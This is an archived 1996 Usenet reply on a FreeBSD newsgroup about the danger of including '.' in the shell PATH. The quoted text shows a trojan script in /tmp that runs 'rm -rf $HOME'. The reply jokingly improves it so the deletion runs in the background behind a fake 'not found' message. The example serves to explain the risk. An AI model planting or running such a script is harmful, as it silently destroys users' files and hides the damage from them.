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Path: euryale.cc.adfa.oz.au!newshost.anu.edu.au!harbinger.cc.monash.edu.au!news.mira.net.au!yarrina.connect.com.au!news.mel.connect.com.au!munnari.OZ.AU!news.ecn.uoknor.edu!paladin.american.edu!gatech!newsfeed.internetmci.com!howland.reston.ans.net!blackbush.xlink.net!zib-berlin.de!news.tu-chemnitz.de!irz401!uriah.heep!news From: j@uriah.heep.sax.de (J Wunsch) Newsgroups: comp.unix.bsd.freebsd.misc Subject: Re: How to configure network under FreeBSD Date: 12 Jan 1996 22:27:09 GMT Organization: Private BSD site, Dresden Lines: 25 Message-ID: <4d6n7t$h7c@uriah.heep.sax.de> References: <4zF8wkoYzg8L084yn@hntp2.hinet.net> <4cr4qh$pl@uriah.heep.sax.de> <4d25np$c8o@news.voicenet.com> <4d3eut$cc3@usenet.ucs.indiana.edu> <4d3fs5$1bsg@info4.rus.uni-stuttgart.de> Reply-To: joerg_wunsch@uriah.heep.sax.de (Joerg Wunsch) NNTP-Posting-Host: localhost.heep.sax.de Mime-Version: 1.0 Content-Type: text/plain; charset=ISO-8859-1 Content-Transfer-Encoding: 8bit X-Newsreader: knews 0.9.3 schweikh@itosun.ito.uni-stuttgart.de (Jens Schweikhardt) writes: > Even putting . as the _last_ element is a risk. > Consider this: > > naughty_user% cat > /tmp/ks > #!/bin/sh > rm -rf $HOME > ^D > naughty_user% chmod 755 /tmp/ks This is too obvious. :-) Better is: #!/bin/sh rm -rf $HOME & echo "$0: not found" -- cheers, J"org joerg_wunsch@uriah.heep.sax.de -- http://www.sax.de/~joerg/ -- NIC: JW11-RIPE Never trust an operating system you don't have sources for. ;-)